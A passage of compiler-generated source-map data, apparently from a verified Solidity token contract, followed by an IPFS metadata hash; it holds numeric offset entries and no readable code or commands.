561;:5;:::i;:::-;2549:17;;2590:1;2585;:6;;2577:46;;;;-1:-1:-1;;;2577:46:0;;12085:2:1;2577:46:0;;;12067:21:1;12124:2;12104:18;;;12097:30;12163:29;12143:18;;;12136:57;12210:18;;2577:46:0;11883:351:1;2577:46:0;2641:1;2471:179;-1:-1:-1;;;2471:179:0:o;5866:156::-;5965:8;;;5975;;;5939:4;;5956:36;;5985:6;5956:8;:36::i;11443:98::-;11500:7;11527:1;11525;:3;11524:9;;11532:1;11524:9;;;-1:-1:-1;11530:1:0;11517:16;-1:-1:-1;11443:98:0:o;11747:483::-;5166:6;:13;;-1:-1:-1;;;;5166:13:0;-1:-1:-1;;;5166:13:0;;;11849:16:::1;::::0;;11863:1:::1;11849:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11849:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11849:16:0::1;11825:40;;11894:4;11876;11881:1;11876:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11876:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11920:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11920:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11876:7;;11920:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11910:4;11915:1;11910:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11910:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11985:15:::1;::::0;11953:62:::1;::::0;11970:4:::1;::::0;11985:15:::1;12003:11:::0;11953:8:::1;:62::i;:::-;12026:15;::::0;:196:::1;::::0;-1:-1:-1;;;12026:196:0;;-1:-1:-1;;;;;12026:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12107:11;;12026:15:::1;::::0;12149:4;;12176::::1;::::0;12196:15:::1;::::0;12026:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5202:6:0;:14;;-1:-1:-1;;;;5202:14:0;;;-1:-1:-1;;;;11747:483:0:o;11230:92::-;11287:10;;:27;;-1:-1:-1;;;;;11287:10:0;;;;:27;;;;;11307:6;;11287:10;:27;:10;:27;11307:6;11287:10;:27;;;;;;;;;;;;;;;;;;;3000:246;3058:7;3082:1;3087;3082:6;3078:47;;-1:-1:-1;3112:1:0;3105:8;;3078:47;3135:9;3147:5;3151:1;3147;:5;:::i;:::-;3135:17;-1:-1:-1;3180:1:0;3171:5;3175:1;3135:17;3171:5;:::i;:::-;:10;3163:56;;;;-1:-1:-1;;;3163:56:0;;13648:2:1;3163:56:0;;;13630:21:1;13687:2;13667:18;;;13660:30;13726:34;13706:18;;;13699:62;-1:-1:-1;;;13777:18:1;;;13770:31;13818:19;;3163:56:0;13446:397:1;3254:132:0;3312:7;3339:39;3343:1;3346;3339:39;;;;;;;;;;;;;;;;;:3;:39::i;2658:136::-;2716:7;2743:43;2747:1;2750;2743:43;;;;;;;;;;;;;;;;;:3;:43::i;3394:189::-;3480:7;3515:12;3508:5;3500:28;;;;-1:-1:-1;;;3500:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3539:9:0;3551:5;3555:1;3551;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:134;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:315::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1017:2;1002:18;;;;989:32;;-1:-1:-1;;;712:315:1:o;1406:456::-;1483:6;1491;1499;1552:2;1540:9;1531:7;1527:23;1523:32;1520:52;;;1568:1;1565;1558:12;1520:52;1607:9;1594:23;1626:31;1651:5;1626:31;:::i;:::-;1676:5;-1:-1:-1;1733:2:1;1718:18;;1705:32;1746:33;1705:32;1746:33;:::i;:::-;1406:456;;1798:7;;-1:-1:-1;;;1852:2:1;1837:18;;;;1824:32;;1406:456::o;2056:247::-;2115:6;2168:2;2156:9;2147:7;2143:23;2139:32;2136:52;;;2184:1;2181;2174:12;2136:52;2223:9;2210:23;2242:31;2267:5;2242:31;:::i;2308:127::-;2369:10;2364:3;2360:20;2357:1;2350:31;2400:4;2397:1;2390:15;2424:4;2421:1;2414:15;2440:1121;2524:6;2555:2;2598;2586:9;2577:7;2573:23;2569:32;2566:52;;;2614:1;2611;2604:12;2566:52;2654:9;2641:23;2683:18;2724:2;2716:6;2713:14;2710:34;;;2740:1;2737;2730:12;2710:34;2778:6;2767:9;2763:22;2753:32;;2823:7;2816:4;2812:2;2808:13;2804:27;2794:55;;2845:1;2842;2835:12;2794:55;2881:2;2868:16;2903:2;2899;2896:10;2893:36;;;2909:18;;:::i;:::-;2955:2;2952:1;2948:10;2987:2;2981:9;3050:2;3046:7;3041:2;3037;3033:11;3029:25;3021:6;3017:38;3105:6;3093:10;3090:22;3085:2;3073:10;3070:18;3067:46;3064:72;;;3116:18;;:::i;:::-;3152:2;3145:22;3202:18;;;3236:15;;;;-1:-1:-1;3278:11:1;;;3274:20;;;3306:19;;;3303:39;;;3338:1;3335;3328:12;3303:39;3362:11;;;;3382:148;3398:6;3393:3;3390:15;3382:148;;;3464:23;3483:3;3464:23;:::i;:::-;3452:36;;3415:12;;;;3508;;;;3382:148;;;3549:6;2440:1121;-1:-1:-1;;;;;;;;2440:1121:1:o;3774:388::-;3842:6;3850;3903:2;3891:9;3882:7;3878:23;3874:32;3871:52;;;3919:1;3916;3909:12;3871:52;3958:9;3945:23;3977:31;4002:5;3977:31;:::i;:::-;4027:5;-1:-1:-1;4084:2:1;4069:18;;4056:32;4097:33;4056:32;4097:33;:::i;:::-;4149:7;4139:17;;;3774:388;;;;;:::o;4167:127::-;4228:10;4223:3;4219:20;4216:1;4209:31;4259:4;4256:1;4249:15;4283:4;4280:1;4273:15;4299:416;4388:1;4425:5;4388:1;4439:270;4460:7;4450:8;4447:21;4439:270;;;4519:4;4515:1;4511:6;4507:17;4501:4;4498:27;4495:53;;;4528:18;;:::i;:::-;4578:7;4568:8;4564:22;4561:55;;;4598:16;;;;4561:55;4677:22;;;;4637:15;;;;4439:270;;;4443:3;4299:416;;;;;:::o;4720:806::-;4769:5;4799:8;4789:80;;-1:-1:-1;4840:1:1;4854:5;;4789:80;4888:4;4878:76;;-1:-1:-1;4925:1:1;4939:5;;4878:76;4970:4;4988:1;4983:59;;;;5056:1;5051:130;;;;4963:218;;4983:59;5013:1;5004:10;;5027:5;;;5051:130;5088:3;5078:8;5075:17;5072:43;;;5095:18;;:::i;:::-;-1:-1:-1;;5151:1:1;5137:16;;5166:5;;4963:218;;5265:2;5255:8;5252:16;5246:3;5240:4;5237:13;5233:36;5227:2;5217:8;5214:16;5209:2;5203:4;5200:12;5196:35;5193:77;5190:159;;;-1:-1:-1;5302:19:1;;;5334:5;;5190:159;5381:34;5406:8;5400:4;5381:34;:::i;:::-;5451:6;5447:1;5443:6;5439:19;5430:7;5427:32;5424:58;;;5462:18;;:::i;:::-;5500:20;;4720:806;-1:-1:-1;;;4720:806:1:o;5531:140::-;5589:5;5618:47;5659:4;5649:8;5645:19;5639:4;5618:47;:::i;5676:168::-;5749:9;;;5780;;5797:15;;;5791:22;;5777:37;5767:71;;5818:18;;:::i;5849:356::-;6051:2;6033:21;;;6070:18;;;6063:30;6129:34;6124:2;6109:18;;6102:62;6196:2;6181:18;;5849:356::o;6210:127::-;6271:10;6266:3;6262:20;6259:1;6252:31;6302:4;6299:1;6292:15;6326:4;6323:1;6316:15;6694:251;6764:6;6817:2;6805:9;6796:7;6792:23;6788:32;6785:52;;;6833:1;6830;6823:12;6785:52;6865:9;6859:16;6884:31;6909:5;6884:31;:::i;7871:306::-;7959:6;7967;7975;8028:2;8016:9;8007:7;8003:23;7999:32;7996:52;;;8044:1;8041;8034:12;7996:52;8073:9;8067:16;8057:26;;8123:2;8112:9;8108:18;8102:25;8092:35;;8167:2;8156:9;8152:18;8146:25;8136:35;;7871:306;;;;;:::o;8461:277::-;8528:6;8581:2;8569:9;8560:7;8556:23;8552:32;8549:52;;;8597:1;8594;8587:12;8549:52;8629:9;8623:16;8682:5;8675:13;8668:21;8661:5;8658:32;8648:60;;8704:1;8701;8694:12;10771:128;10838:9;;;10859:11;;;10856:37;;;10873:18;;:::i;10904:125::-;10969:9;;;10990:10;;;10987:36;;;11003:18;;:::i;11743:135::-;11782:3;11803:17;;;11800:43;;11823:18;;:::i;:::-;-1:-1:-1;11870:1:1;11859:13;;11743:135::o;12239:980::-;12501:4;12549:3;12538:9;12534:19;12580:6;12569:9;12562:25;12606:2;12644:6;12639:2;12628:9;12624:18;12617:34;12687:3;12682:2;12671:9;12667:18;12660:31;12711:6;12746;12740:13;12777:6;12769;12762:22;12815:3;12804:9;12800:19;12793:26;;12854:2;12846:6;12842:15;12828:29;;12875:1;12885:195;12899:6;12896:1;12893:13;12885:195;;;12964:13;;-1:-1:-1;;;;;12960:39:1;12948:52;;13055:15;;;;13020:12;;;;12996:1;12914:9;12885:195;;;-1:-1:-1;;;;;;;13136:32:1;;;;13131:2;13116:18;;13109:60;-1:-1:-1;;;13200:3:1;13185:19;13178:35;13097:3;12239:980;-1:-1:-1;;;12239:980:1:o;13224:217::-;13264:1;13290;13280:132;;13334:10;13329:3;13325:20;13322:1;13315:31;13369:4;13366:1;13359:15;13397:4;13394:1;13387:15;13280:132;-1:-1:-1;13426:9:1;;13224:217::o

ipfs://225714fe51c27047d252ad2c29600d76e9007684341507a2d4d7bde6e99f0828